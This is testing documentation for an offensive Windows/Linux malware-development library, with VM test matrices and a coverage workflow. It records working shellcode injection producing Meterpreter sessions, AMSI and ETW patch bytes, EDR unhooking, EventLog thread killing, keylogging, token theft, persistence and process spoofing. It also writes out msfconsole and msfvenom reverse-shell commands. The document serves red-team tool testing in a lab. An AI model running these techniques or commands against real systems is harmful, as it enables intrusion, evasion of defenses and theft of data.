./scripts/vm-run-tests.sh all "./..." "-count=1"
# VM — with manual/dangerous tests
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test ./... -count=1 -timeout 300s
# memscan binary verification (77-row matrix, from host)
go run scripts/vm-test-memscan.go
# Meterpreter matrix (from host, needs Kali)
# See Meterpreter section below
Test Gating
| Environment Variable | Purpose |
|---|---|
MALDEV_INTRUSIVE=1 | Enable tests that modify system state (hooks, patches, injection) |
MALDEV_MANUAL=1 | Enable tests that need admin + VM (real shellcode, service manipulation) |
MALDEV_TEST_USER | Username for impersonation tests |
MALDEV_TEST_PASS | Password for impersonation tests |
Injection CallerMatrix
Tests every injection method × every syscall calling convention. 35 combinations tested.
| Method | WinAPI | NativeAPI | Direct | Indirect | Type |
|---|---|---|---|---|---|
| CreateThread | ✅ | ✅ | ✅ | ✅ | Self |
| EtwpCreateEtwThread | ✅ | ✅ | ✅ | ✅ | Self |
| CreateRemoteThread | ✅ | ✅ | ✅ | ✅ | Remote |
| RtlCreateUserThread | ✅ | ✅ | ✅ | ✅ | Remote |
| QueueUserAPC | ✅ | ✅ | ✅ | ✅ | Remote |
| NtQueueApcThreadEx | ✅ | ✅ | ✅ | ✅ | Remote |
| EarlyBirdAPC | ✅ | ✅ | ✅ | ✅ | Spawn |
| ThreadHijack | ✅ | ✅ | ⚠️ | ⚠️ | Spawn |
| CreateFiber | ⛔ | ⛔ | ⛔ | ⛔ | Self |
- ⚠️ ThreadHijack + Direct/Indirect:
NtGetContextThread/NtWriteVirtualMemoryfail with STATUS_DATATYPE_MISALIGNMENT — RSP alignment issue in syscall stubs - ⛔ CreateFiber: deadlocks Go's M:N scheduler with real shellcode
Standalone Injection Functions
| Function | Meterpreter Tested | Notes |
|---|---|---|
| SectionMapInject | ✅ SESSION_OK | Remote, uses Caller |
| KernelCallbackExec | ✅ SESSION_OK | Remote, no Caller |
| PhantomDLLInject | ✅ SESSION_OK | Remote, no Caller |
| ThreadPoolExec | ✅ SESSION_OK | Local, no Caller |
| ModuleStomp | ✅ SESSION_OK | Local, needs CreateThread for execution |
| ExecuteCallback (EnumWindows) | ✅ SESSION_OK | Local, synchronous |
| ExecuteCallback (TimerQueue) | ✅ SESSION_OK | Local, timer thread |
| ExecuteCallback (CertEnumStore) | ✅ SESSION_OK | Local, synchronous (Kali session 48 confirmed) |
| SpawnWithSpoofedArgs | ✅ SPOOF_OK | Process arg spoofing — real args executed, fake visible |
Meterpreter End-to-End
Prerequisites
- Kali VM running with MSF (ssh -p 2223 kali@localhost)
- Windows VM with Defender exclusions
- SSH key at
/tmp/vm_kali_key
Setup
# Start MSF handler on Kali (sleep 3600 keeps it alive)
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
'nohup msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit -j -z; sleep 3600" > /tmp/msf.log 2>&1 &'
# Wait 20s for MSF boot, then generate shellcode
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
'msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw' > /tmp/msf_payload.bin
# Copy to VM
VBoxManage guestcontrol Windows10 copyto --target-directory "C:\Temp\" /tmp/msf_payload.bin
Key Finding: MSF sleep trick
msfconsole exits when stdin closes (not a crash — EOF). nohup/screen don't help because they close stdin. Fix: add sleep 3600 as the LAST MSF -x command. This is an MSF sleep (not bash), keeping the process alive while the handler runs.
Results (2026-04-14)
22 unique meterpreter sessions established across all 21 injection techniques (including CertEnumStore). SpawnWithSpoofedArgs verified separately (not a shellcode injection — confirms PEB argument overwrite).
Evasion Tests
AMSI Patch
| Function | WinAPI | NativeAPI | Direct | Indirect | Bytes Verified |
|---|---|---|---|---|---|
| PatchScanBuffer | ✅ | ✅ | ✅ | ✅ | 31 C0 C3 (xor eax,eax; ret) |
| PatchOpenSession | ✅ | ✅ | ✅ | ✅ | Conditional jump flipped (JZ → JNZ) |
| PatchAll | ✅ | ✅ | ✅ | ✅ | Both ScanBuffer + OpenSession patched |
ETW Patch
| Function | WinAPI | NativeAPI | Direct | Indirect | Bytes Verified |
|---|---|---|---|---|---|
| EtwEventWrite | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
| EtwEventWriteEx | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
| EtwEventWriteFull | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
| EtwEventWriteString | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
| EtwEventWriteTransfer | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
| NtTraceEvent | ✅ | ✅ | ✅ | ✅ | 48 33 C0 C3 |
Unhook
| Function | WinAPI | NativeAPI | Direct | Indirect | Verification |
|---|---|---|---|---|---|
| ClassicUnhook | ✅ | ✅ | ✅ | ✅ | Target: NtCreateSection, stub = 4C 8B D1 B8 |
| FullUnhook | ✅ | ✅ | ✅ | ✅ | All ntdll stubs = 4C 8B D1 B8 |
ClassicUnhook safelist: NtClose, NtCreateFile, NtReadFile, NtWriteFile, NtQueryVolumeInformationFile, NtQueryInformationFile, NtSetInformationFile, NtFsControlFile — all rejected to prevent Go runtime deadlock.
stealthopen Opener / Creator composition
stealthopen exposes a symmetric pair of optional interfaces that
mirror the *wsyscall.Caller pattern — nil falls back to the standard
os operation, non-nil routes through whatever stealth strategy the
caller wires up.
Read side — Opener: the unhook, phantomdll, and herpaderping
functions accept it. nil keeps the historic path-based os.Open /
windows.CreateFile, non-nil (typically *stealthopen.Stealth) routes
reads through OpenFileById and makes path-based EDR file hooks blind
to the operation.
Write side — Creator: the LNK, ADS, .kirbi, lsass-minidump, PE
rewrite, and .syso emit paths accept it. nil falls back to
*StandardCreator (plain os.Create); non-nil lands the file through
the operator's primitive (transactional NTFS, encrypted-stream wrapper,
ADS, raw NtCreateFile, etc.). Byte-ready callers go through
stealthopen.WriteAll(creator, path, data); streaming producers
(lsassdump.DumpToFileVia, masquerade.GenerateSysoVia) drive the
returned io.WriteCloser directly.
| Package | Test file | Coverage |
|---|---|---|
evasion/stealthopen | opener_test.go (host) | Standard.Open, Use(nil)==Standard, fake opener pass-through; StandardCreator.Create, UseCreator(nil)==StandardCreator, fakeCreator pass-through; WriteAll nil/non-nil/Create-error propagation |
evasion/stealthopen | opener_windows_test.go (VM) | VolumeFromPath (drive/UNC/Win32/relative/empty), NewStealth round-trip via OpenFileById, Stealth.Open state validation, Stealth ignores caller's path argument |
evasion/unhook | opener_windows_test.go (VM, intrusive) | spyOpener counts: ClassicUnhook/FullUnhook each call Open exactly once on ntdll.dll; real Stealth round-trip proves full unhook still succeeds |
inject | phantomdll_opener_test.go (Windows build, host-safe) | spyOpener asserts PhantomDLLInject makes 2 opens on the same System32 DLL path (PE parse + NtCreateSection HANDLE) |
process/tamper/herpaderping | opener_windows_test.go (Windows build, host-safe) | spyOpener asserts payload+decoy reads both go through the Opener; empty DecoyPath → single call |
persistence/lnk | lnk_test.go (VM) | recordingCreator confirms WriteVia routes through the Creator's Create call with the expected path; nil fallback writes a non-empty .lnk via StandardCreator |
Run just the Opener / Creator paths:
./scripts/vm-run-tests.sh windows "./evasion/stealthopen/..." "-v -count=1"
./scripts/vm-run-tests.sh windows "./evasion/unhook/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./inject/..." "-v -count=1 -run PhantomDLLInject_UsesProvidedOpener"
./scripts/vm-run-tests.sh windows "./process/tamper/herpaderping/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./persistence/lnk/..." "-v -count=1 -run WriteVia"
Other Evasion
| Technique | Test | Verification |
|---|---|---|
| ACG Enable | TestACGBlocksRWX | VirtualAlloc(PAGE_EXECUTE_READWRITE) returns error after Enable() |
| BlockDLLs Enable | TestBlockDLLsPolicy | Process alive = policy set |
| Phant0m Kill | TestKillEventLogThreads | EventLog service threads terminated (TEB tag resolution) |
| Herpaderping Run | TestRunWithDecoy | Disk file = decoy content, not original payload |
| SleepMask Sleep | TestSleepMask_EncryptedDuringSleep | Bytes XOR-encrypted during sleep, restored after |
| SleepMask e2e | TestSleepMaskE2E_DefeatsExecutablePageScanner | Concurrent scanner cannot find canary during masked sleep; protection round-trips |
| AntiVM DetectVM | TestDetectVMInVirtualBox | Returns "VirtualBox" in VirtualBox VM |
| AntiVM DetectProcess | TestDetectVBoxProcess | Finds VBoxService.exe, VBoxTray.exe |
BSOD
Driven by cmd/vmtest + a target-side PowerShell harness (see
scripts/vm-test.ps1). The standalone scripts/vm-test-bsod.go runner
listed in docs/vm-test-setup.md § Phase 5 is still TODO — reproduction
today is manual:
- Launch the harness via scheduled task (interactive session,
schtasks /Run). - The harness calls
cleanup/bsod.Trigger(nil). - First tries
NtRaiseHardError(intercepted on Win 10 22H2). - Falls back to
RtlSetProcessIsCritical(TRUE)+os.Exit(1). - VM crashes with
CRITICAL_PROCESS_DIED. - Operator restores the
INITsnapshot:virsh snapshot-revert <vm> --snapshotname INIT --forceorVBoxManage snapshot <vm> restore INIT.
SSN Resolver Verification
All 4 resolvers return identical SSNs for the same function:
| Function | SSN | HellsGate | HalosGate | Tartarus | HashGate |
|---|---|---|---|---|---|
| NtAllocateVirtualMemory | 0x0018 | ✅ | ✅ | ✅ | ✅ |
| NtProtectVirtualMemory | 0x0050 | ✅ | ✅ | ✅ | ✅ |
| NtCreateThreadEx | 0x00C2 | ✅ | ✅ | ✅ | ✅ |
| NtClose | 0x000F | ✅ | ✅ | ✅ | ✅ |
Cross-validated: x64dbg reads SSN bytes from ntdll prologue (offset +4, +5) and compares with resolver output. All match.
Collection
| Feature | Test | Verification |
|---|---|---|
| Screenshot | TestCapture | PNG magic bytes 89 50 4E 47 |
| Screenshot bounds | TestDisplayBounds | Width/height > 0 |
| Clipboard read | TestReadText | No crash |
| Clipboard roundtrip | TestReadTextRoundtrip | Set-Clipboard → ReadText = exact match |
| Clipboard watch | TestWatch | Channel closes on context cancel |
| Keylog hook install | TestStart | Hook installs + channel open |
| Keylog capture | TestCaptureSimulatedKeystrokes | SendInput(VK_A) → KeyCode=0x41 |
| Keylog cancel | TestStartCancel | Channel closes on timeout |
Token Operations
| Function | Test | Verification |
|---|---|---|
| Steal (self) | TestStealSelf | Valid token from own PID |
| Steal (remote) | TestImpersonateTokenFromRemoteProcess | Steal notepad token + impersonate |
| OpenProcessToken | TestOpenProcessTokenSelf | Token handle non-zero |
| UserDetails | TestTokenUserDetails | Username non-empty |
| IntegrityLevel | TestTokenIntegrityLevel | Returns string (Medium/High/System) |
| Privileges | TestTokenPrivileges | At least one privilege listed |
| Enable/Disable | TestEnableDisablePrivilege | Round-trip toggle |
| ImpersonateToken | TestImpersonateToken | Token-based (no credentials) |
Persistence
| Mechanism | Test | Verification |
|---|---|---|
| Registry Run key | TestSetAndGet + TestDelete | Full CRUD lifecycle (Set → Get → Exists → Delete) |
| Scheduler task | TestCreateAndDelete | Create → Exists=true → Delete → Exists=false |
| LNK Save (disk via WScript.Shell) | TestSave | .lnk produced is non-empty under t.TempDir |
| LNK BuildBytes (zero-disk via IShellLinkW + IPersistStream) | TestBuildBytes + TestBuildBytesNoArtefact | Header byte = 0x4C; no maldev-lnk-* directory left in TEMP |
| LNK WriteTo (zero-disk → io.Writer) | TestWriteTo | Bytes equal to BuildBytes round-trip into bytes.Buffer |
| LNK WriteVia (zero-disk → stealthopen.Creator) | TestWriteVia_NilUsesStandardCreator + TestWriteVia_DelegatesToCreator | nil falls back to os.Create; recordingCreator captures the right path |
| LNK SetIconLocationIndexed | TestSetIconLocationIndexed | Builder packs (path, index) into the WSH "path,N" form |
| LNK Hotkey parser | TestParseHotkey | 8 cases — Ctrl/Alt/Shift/Control aliases, F1/F-out-of-range, single-letter, single-digit, unsupported keys |
Cleanup
| Function | Test | Verification |
|---|---|---|
| SelfDelete (script) | TestRunWithScriptInChild | Binary file removed from disk |
| Timestomp Set | TestSet | File mtime changed |
| Timestomp CopyFrom | TestCopyFrom | Destination times match source |
| Memory WipeAndFree | TestWipeAndFree | VirtualQuery returns MEM_FREE |
PE Operations
| Function | Test | Verification |
|---|---|---|
| BOF Load | TestLoad | Parses COFF headers, validates machine type |
| BOF Execute | TestExecuteNopBOF | Runs nop.o without crash |
| PE Parse | TestOpenValidPE | Sections, imports, exports parsed |
| PE Strip timestamp | TestSetTimestamp | Timestamp changed |
| PE Sanitize | TestSanitize | Pclntab F1FFFFFF wiped + sections renamed |
| PE Morph UPX | TestUPXMorph | Section names randomized |
| sRDI ConvertDLL | TestConvertDLL | Shellcode generated from DLL |
Linux Testing
Injection Methods
| Method | Test | Result | Verification |
|---|---|---|---|
| /proc/self/mem | TestProcMemSelfInject | ✅ | Child writes via /proc/self/mem, prints PROCMEM_OK |
| memfd_create | TestMemFDInject | ✅ | Creates anonymous fd, ForkExecs /bin/true ELF copy |
| ptrace | TestPtraceInject | ✅ | Spawns sleep target, attaches via ptrace, injects |
| purego (mmap+exec) | TestPureGoExec | ✅ | mmap RWX + direct call (no CGO) |
| procmem crash verify | TestProcMemVerification | ✅ | Injection → SIGSEGV = shellcode executed |
Linux Debugger Equivalent
Instead of x64dbg, Linux verification uses:
/proc/PID/maps— read memory layout, find RWX regions/proc/PID/mem— read/write process memory directly- GDB (
gdb -p PID) — available on Ubuntu VM for interactive debugging - strace — trace syscalls (memfd_create, mmap, ptrace)
Running Linux Tests
# On host (orchestrates VM)
./scripts/vm-run-tests.sh linux "./..." "-v -count=1"
# On Ubuntu VM directly
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test $(go list ./... | grep -v scripts) -count=1 -timeout 120s
# Linux meterpreter e2e (requires Kali handler running first)
# From host: start MSF handler via KaliStartListener
# On Ubuntu VM:
MALDEV_MANUAL=1 MALDEV_INTRUSIVE=1 MALDEV_KALI_HOST=192.168.56.200 \
go test -v -run TestMeterpreterRealSessionLinux ./c2/meterpreter/ -timeout 120s
# Linux shell PTY (self-contained, no Kali needed)
MALDEV_MANUAL=1 go test -v -run "TestShellPTYLinux" ./c2/shell/ -timeout 60s
Linux e2e Results
| Test | Result | Notes |
|---|---|---|
| TestShellPTYLinux | ✅ PASS | PTY echo + command output verified |
| TestShellPTYLinuxLifecycle | ✅ PASS | Start/stop/reconnect lifecycle |
| TestMeterpreterRealSessionLinux | ✅ PASS | Session 1 opened on Kali (192.168.56.200:4444 → 192.168.56.103) |
Platform Test Summary
| Platform | Packages OK | FAIL | Injection Methods | Meterpreter |
|---|---|---|---|---|
Windows 10 (VM win10) | 64 | 0 | 9 methods × 4 callers + 12 standalone | 22 sessions |
Windows 11 (VM win11-2) | TBD per run — see deltas below | varies | same matrix as win10; remote-thread methods bite on Win11 | TBD |
| Ubuntu 25.10 (VM) | 26 | 0 | 4 methods (procmem, memfd, ptrace, purego) | 1 session (Linux meterpreter) |
Win10 → Win11 cross-version deltas (run captured 2026-04-26)
The windows11 test target (VM win11-2, build 26100 / Win11 24H2)
exposes mitigations Win10 22H2 doesn't. Categories:
| Site | Win10 | Win11-2 | Likely cause |
|---|---|---|---|
cleanup/selfdelete/TestDeleteFile{,Force} | PASS | FAIL | Win11 changes to MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) rename-on-reboot semantics |
evasion/hook test binary | PASS* | build failed (Defender quarantine) | Win11 Defender def signatures flag the test EXE — fixed via Defender exclusions in bootstrap-windows-guest.ps1 (re-snapshotted 2026-04-26) |
pe/srdi test binary | PASS* | quarantined | Same Defender root cause; same fix |
inject/TestCallerMatrix_RemoteInject (CRT/RtlCUT/QUAPC/NtQAPCEx × WinAPI+Direct) | PASS | 8 sub-fails | Win11 hardening on cross-process write + thread-create primitives |
process/tamper/fakecmd/TestSpoofPID | PASS | FAIL | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS tighter on Win11 (consistent with the PPIDSpoofer known-limitation already noted on Win10 22H2 — gap widened on Win11) |
process/tamper/herpaderping/TestRunWithDecoy{,VerifyProcessCreated} | PASS | FAIL | Win11 image-load notify changes break the herpaderping primitive |
recon/dllhijack/TestValidate_OrchestrationEndToEnd | FAIL (timing flake) | PASS | Orchestration timing — not a Win11 regression |
* On a clean Defender state. Defender signatures rotate; the evasion/hook
and pe/srdi quarantines were observed on win10 in run 2 even though
they passed on run 1. The bootstrap script now installs path +
process exclusions on first provision (see
scripts/vm-test/bootstrap-windows-guest.ps1).
These deltas are real signal — exactly the reason the second Windows target exists. Mitigation work tracks per chantier:
- Remote-injection deltas (CallerMatrix) → revisit in chantier IV (Win11 sigs validation) and the v0.33.0+ Caller-routing follow-ups in the lsass plan.
fakecmd/herpaderping→ mark as Win11-aware skips with build detection (win/version.IsAtLeast(11)); document ATT&CK detection delta.selfdelete→ research the Win11 rename-on-reboot regression; check whether the newFILE_RENAME_INFO+FILE_DISPOSITION_INFO_EXpath needs an alternate code path.
PPID Spoofing
The c2/shell package includes a PPID spoofer (PPIDSpoofer) that creates child processes under a fake parent via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.
| Function | Test | Result | Notes |
|---|---|---|---|
| ParentPID | TestParentPID | ✅ | Returns parent PID of current process |
| NewPPIDSpoofer | TestNewPPIDSpoofer | ✅ | Constructor, default targets |
| FindTargetProcess | TestPPIDSpooferFunctional | ⚠️ SKIP | Exploit Guard blocks CreateProcess with spoofed parent on Win 10 22H2 |
| SysProcAttr | TestPPIDSpooferSysProcAttrNoTarget | ✅ | Error on missing target |
Known Limitation: Windows 10 22H2 blocks PROC_THREAD_ATTRIBUTE_PARENT_PROCESS with ACCESS_DENIED even with admin + SeDebugPrivilege + no ASR rules configured. This appears to be a kernel-level mitigation (not ASR/Exploit Guard). OpenProcess(PROCESS_CREATE_PROCESS) succeeds, but CreateProcess with the spoofed parent fails. The technique works on older Windows versions without these protections.
Sprint 2 Additions (2026-04-15)
Three new feature packages + one doc overhaul were battle-tested this session. Host runs and VM runs both captured; bugs fixed on the spot.
inject callbacks — 3 new execution methods
| Method | Test | Result | Fix landed during session |
|---|---|---|---|
| CallbackReadDirectoryChanges | TestExecuteCallbackReadDirectoryChanges | PASS | – |
| CallbackRtlRegisterWait | TestExecuteCallbackRtlRegisterWait | PASS | WT_EXECUTEONLYONCE + RtlDeregisterWaitEx(INVALID_HANDLE_VALUE) to avoid post-free callback crash |
| CallbackNtNotifyChangeDirectory | TestExecuteCallbackNtNotifyChangeDirectory | PASS | STATUS_PENDING(0x103) accepted as success; Win11 CET stub requires endbr64 prefix |
Allocator helper moved to testutil.WindowsCETStubX64 (shared CET-safe
endbr64;ret shellcode; required by Win11 KiUserApcDispatcher).
persistence/scheduler — COM ITaskService rewrite
| Test | Result | Notes |
|---|---|---|
| TestCreateAndDelete | PASS | RegisterTaskDefinition + DeleteTask round-trip |
| TestCreateWithTimeAndDelete | PASS | TIME trigger |
| TestDeleteNonExistent | PASS | Error surface |
| TestCreateRequiresAction | PASS | Option validation |
| TestSplitTaskName | PASS | Unit test for path parsing |
| TestScheduledTaskMechanism | PASS | persistence.Mechanism interface |
| TestExistsNonExistent | PASS | Non-admin returns false cleanly |
| TestRunNonExistent | PASS | Error surface |
| TestList | PASS | Root-folder enumeration |
Two bugs fixed during the VM run: ole.NewVariant(VT_NULL) → nil
(oleutil marshaller panic), and StartBoundary now always set (Task
Scheduler rejects DAILY triggers without it).
runtime/clr — in-process .NET hosting
| Test | Result | Gate |
|---|---|---|
| TestInstalledRuntimes | PASS | always |
| TestLoadAndClose | SKIP* | ICorRuntimeHost unavailable |
| TestExecuteAssemblyEmpty | SKIP* | ICorRuntimeHost unavailable |
| TestExecuteDLLValidation | SKIP* | ICorRuntimeHost unavailable |
| TestInstallAndRemoveRuntimeActivationPolicy | PASS | always |
Load() tries CorBindToRuntimeEx first, falls back to
CLRCreateInstance+BindAsLegacyV2Runtime. The three Load-dependent tests
run inside a separate helper binary — testutil/clrhost/ — built on
demand with a committed <exe>.config that enables legacy v2 activation.
testutil.RunCLROperation spawns the helper, inspects its exit code, and
maps environmental failures (exit=2, "ICorRuntimeHost unavailable") to
t.Skip so the test suite stays green.
* Observed behaviour on Win10 build 19045.6466 + NetFx3 Enabled: even with the committed
.configand a fresh unmanaged helper process,GetInterface(CorRuntimeHost)still returnsREGDB_E_CLASSNOTREG. The three SKIPs therefore remain on this specific Windows build. The infrastructure is in place for the moment Microsoft restores legacy activation paths, or when running on an environment that does — older Win10 builds, LTSC images, .NET-aware manifested hosts, etc.
Runtime helpers for operational use:
clr.InstallRuntimeActivationPolicy()drops<exe>.confignext to the running binary beforeLoad.clr.RemoveRuntimeActivationPolicy()deletes it afterLoadsucceeds (mscoree has cached the policy — file no longer needed, OPSEC cleanup).
evasion/cet — CET shadow-stack manipulation
| Test | Result | Notes |
|---|---|---|
| TestMarker | PASS | Verifies Marker == ENDBR64 opcode |
| TestWrapIdempotent | PASS | Double-wrap is no-op |
| TestWrapEmpty | PASS | nil input → just Marker |
| TestWrapAlreadyCompliant | PASS | sc starting with ENDBR64 unchanged |
cet.Enforced() / cet.Disable() are environment-dependent and not
unit-asserted — verified manually on the Win10 VM (returns false; no CET
enforcement on this CPU/image combo). Unit-testable on a Win11+CET host.
pe/masquerade — compile-time PE resource embedding (T1036.005)
End-to-end validation via pe/masquerade/internal/e2e_cmd_test:
| Step | Result |
|---|---|
| Generator read-only scan of System32 | PASS (5 identities × 2 UAC variants = 10 sub-packages) |
Blank-import → go build | PASS (syso auto-linked) |
| VERSIONINFO match | PASS — Get-Item masqtest.exe shows CompanyName "Microsoft Corporation", OriginalFilename "Cmd.Exe", full cmd.exe metadata |
process/session — WTS enumeration
| Test | Result | VM observation |
|---|---|---|
| TestList | PASS | Services(id=0,Disconnected) + Console(id=1,Active,test@DESKTOP-T8IB37P) |
| TestActiveSubsetOfList | PASS | invariant Active ⊆ List |
| TestSessionStateString | PASS | enum→name mapping |
Windows 11 CET gotcha
KiUserApcDispatcher rejects non-endbr64 indirect targets with
STATUS_STACK_BUFFER_OVERRUN (0xC000070A). Any future test that
allocates a shellcode stub for an APC path must start with F3 0F 1E FA
(endbr64). Use testutil.WindowsCETStubX64.
Sprint 2 Extensions (2026-04-15)
Five additional packages landed on top of the Sprint 2 base. All tested on host and on Windows10 VM (snapshot INIT restored between runs).
c2/transport — server-side Listener interface
Adds Listener, NewTCPListener, NewTLSListener as the symmetric of
Transport for operator-side reverse-shell handlers. Thin wrappers over
net.Listen / tls.Listen with context-cancelable Accept.
Tests (11 PASS, 1 SKIP in loopback race):
TestTCPRoundTrip, TestTCPReconnect, TestTCPRemoteAddr,
TestTCPContextCancel (SKIP: loopback accepts before ctx fires),
TestTCPContextCancelNonRoutable (non-routable addr forces the cancel
path), TestNewTLS_Options, TestWithFingerprint,
TestNewUTLS_Options, plus malleable HTTP tests.
c2/multicat — multi-session reverse-shell manager
Operator-side listener that multiplexes inbound shells into numbered
sessions, reads an optional BANNER:<hostname>\n within 500 ms, and
emits lifecycle events on a buffered channel. Never embedded in the
implant.
MITRE: T1571.
Tests (6 PASS, in-memory with net.Pipe):
TestListenAccept, TestSessionsIDSequential, TestBannerHostname,
TestRemoveSession, TestEvents, TestGet. Tests write "\n" from
the client side to unblock the 500 ms banner-read deadline so the
session registers before Sessions() snapshot.
crypto — lightweight obfuscation primitives
Non-cryptographic but signature-breaking transforms: TEA, XTEA
(8-byte block, 16-byte key, 64 rounds, PKCS7), ArithShift
(position-dependent byte add), S-Box (random 256-byte permutation +
inverse via Fisher-Yates on crypto/rand), and MatrixTransform /
"Agent Smith" (Hill cipher mod 256, n∈{2,3,4}, adjugate inverse).
MITRE: T1027 / T1027.013.
Tests: TestTEARoundtrip, TestXTEARoundtrip,
TestArithShiftRoundtrip, TestSBoxRoundtrip,
TestMatrixTransformRoundtrip (iterates n=2,3,4). All PASS on host + VM.
Gotcha: a compile-time uint32(teaDelta * rounds/2) overflows the
untyped-constant range in Go. The runtime sum loop for j { sum += teaDelta }
replaces it. matDet needs an explicit n == 1 case for 2×2 matrix
inversion (recursive cofactor minors land at 1×1).
process/tamper/fakecmd — SpoofPID remote PEB overwrite
Extends the existing self-spoof to a remote process. Opens the target
with PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, walks PEB→ProcessParameters→CommandLine,
allocates a new UTF-16 buffer in the target with
NtAllocateVirtualMemory, writes the fake string, and patches
Length / MaximumLength / Buffer of the UNICODE_STRING in place.
No Restore counterpart — the caller tracks the original.
Signature accepts an optional *wsyscall.Caller that routes both
NtQueryInformationProcess and NtAllocateVirtualMemory.
MITRE: T1036.005.
Test: TestSpoofPID (PASS, VM elevated). Spawns notepad, calls
SpoofPID(pid, fake, nil), then reads the remote PEB back via
readRemoteCmdLine and asserts equality. Skipped on host when not
running as admin via testutil.RequireAdmin.
encode — markdown documentation page
No new Go code. Creates docs/techniques/encode/README.md covering
Base64/Base64URL/UTF-16LE/PowerShell/ROT13, when to encode vs encrypt,
and the encrypt → encode layering pattern. All existing encode
tests continue to PASS.
VM Infra Fixes Landed With This Sprint
- Persistent shared folder
maldevon Windows10 VM with--automount --auto-mount-point "Z:"soZ:\scripts\vm-test.ps1resolves. vm-test.ps1tolerates comma-separated-PackagesbecauseVBoxManage guestcontroldrops internal whitespace from--args; multi-package runs must pass a single./...glob, commas, or invoke the runner once per package.
Known Limitations
| Issue | Impact | Workaround |
|---|---|---|
| CreateFiber deadlocks Go scheduler | Cannot test with real shellcode in go test | Use standalone binary |
| ThreadHijack + Direct/Indirect | RSP alignment breaks NtGetContextThread | Use WinAPI or NativeAPI |
| Phant0m depends on EventLog state | May skip if threads untagged | Run immediately after VM restore |
| Clipboard needs Session 1 | guestcontrol = Session 0 | Run via scheduled task |
| Keylog singleton | Must wait 500ms between Start() calls | Sleep after cancel |
| findallmem after x64dbg attach | Returns 0 results | Use InitDebug or self-scan |
| Syscall stubs transient | Freed after Caller GC | Scan during execution, not after |
| MSF exits on stdin EOF | Handler dies after -r/-x commands | Add sleep 3600 as last -x command |
| PPID spoofing blocked | Kernel-level mitigation on Win 10 22H2 (not ASR) | Test on older OS or disable kernel mitigations |
| Ubuntu no host-only NIC | Cannot reach Kali for meterpreter | Add nic2 hostonly (requires VM shutdown) — DONE |
| KaliSSH inside VMs | localhost:2223 unreachable from other VMs | Use direct host-only IPs or env vars (MALDEV_KALI_HOST) |
| Kali DHCP IP mismatch | KaliHost=192.168.56.200, DHCP assigns .101 | sudo ip addr add 192.168.56.200/24 dev eth1 |
Coverage Workflow — test harness state (as of 2026-04-22)
This document is the entry point for any agent or contributor picking up the coverage + VM-testing work. It describes the infrastructure currently in place, how to reproduce it, what passes / skips / fails, and what's left to do.
[!NOTE] The pass/skip counts in this document reflect the 2026-04-22 baseline run. Newer infrastructure shipped after that date —
win/com.Errorshared HRESULT helper (consumed byruntime/clr+persistence/lnk),stealthopen.Creatorwrite-side interface (LNK / ADS / .kirbi / PE / .syso emit), and the LNK three-sink API (Save/BuildBytes/WriteTo/WriteVia) — has unit-test coverage running on host but has not been re-baselined underbash scripts/full-coverage.sh. Seetesting.mdfor the per-package row-level coverage table updated to the current API surface.
For bootstrap from scratch (creating VMs, SSH keys, INIT snapshots) see
docs/vm-test-setup.md. For per-test-type details (x64dbg harness, BSOD, Meterpreter matrix) seedocs/testing.md. This document is the cross-platform coverage collection workflow itself.
TL;DR — two commands to reproduce everything
# 1) Provision the VMs (idempotent — short-circuits what's already installed).
# Installs .NET 3.5 on win10, postgresql + msfdb on debian13, then takes
# a TOOLS snapshot per VM. ~10 min on first run, <30s on re-runs.
bash scripts/vm-provision.sh
# 2) Collect coverage end-to-end (host + Linux VM + Windows VM, all gates
# open, consolidated report). ~25 min.
bash scripts/full-coverage.sh --snapshot=TOOLS
Outputs (written to ignore/coverage/, which is gitignored):
report-full.md— per-package table sorted by ascending coverage, with a function-level gap list for the packages that aren't at 100%.cover-merged-full.out— merged Go cover profile (consumable bygo tool cover).tallies.txt— one-line per-run summary in nativego testformat.<domain>/test.log+<domain>/cover.out— per-VM artifacts.
Script architecture
| Script | Role | Depends on |
|---|---|---|
cmd/vmtest | VM orchestrator (start, push, exec, fetch, stop, restore). Extension of the existing tool: new -report-dir flag auto-fetches cover.out + test.log | libvirt or VirtualBox; scripts/vm-test/config.yaml + config.local.yaml |
scripts/vm-provision.sh | Installs missing tools in each VM and snapshots TOOLS | SSH to the 3 VMs; sudo on Kali; UAC bypass via schtasks SYSTEM on Windows |
scripts/full-coverage.sh | End-to-end wrapper: boots the 3 VMs, exports all gates, runs host + Linux VM + Windows VM, merges profiles, restores snapshots | scripts/coverage-merge.go, cmd/vmtest |
scripts/coverage-merge.go | Merges N Go cover profiles (union, per-block max hit count), renders Markdown | go tool cover |
Common flags:
--snapshot=NAME(defaultINIT) — snapshot used for restore, also forwarded tovmtestviaMALDEV_VM_*_SNAPSHOT.--no-restore— leave VMs running after the run (debugging).--skip-host/--skip-linux-vm/--skip-windows-vm— granular control.--only=<vm>onvm-provision.sh— provision a single VM.- Env overrides (
MALDEV_VM_WINDOWS_SSH_HOST,MALDEV_KALI_SUDO_PASSWORD,MALDEV_VM_SNAPSHOT, …) for portability across hosts.
Concrete usage examples
# Provision just Windows, don't touch Kali/Linux.
bash scripts/vm-provision.sh --only=windows
# Quick iteration on a single package — skip the host + Linux VM phases.
bash scripts/full-coverage.sh --snapshot=TOOLS --skip-host --skip-linux-vm
# Cross-version coverage: include the optional second Windows build (win11-2).
# Auto-skips when scripts/vm-test/config.local.yaml has no windows11: block.
bash scripts/full-coverage.sh # win10 + win11-2 + linux + kali
# Skip the second Windows build explicitly:
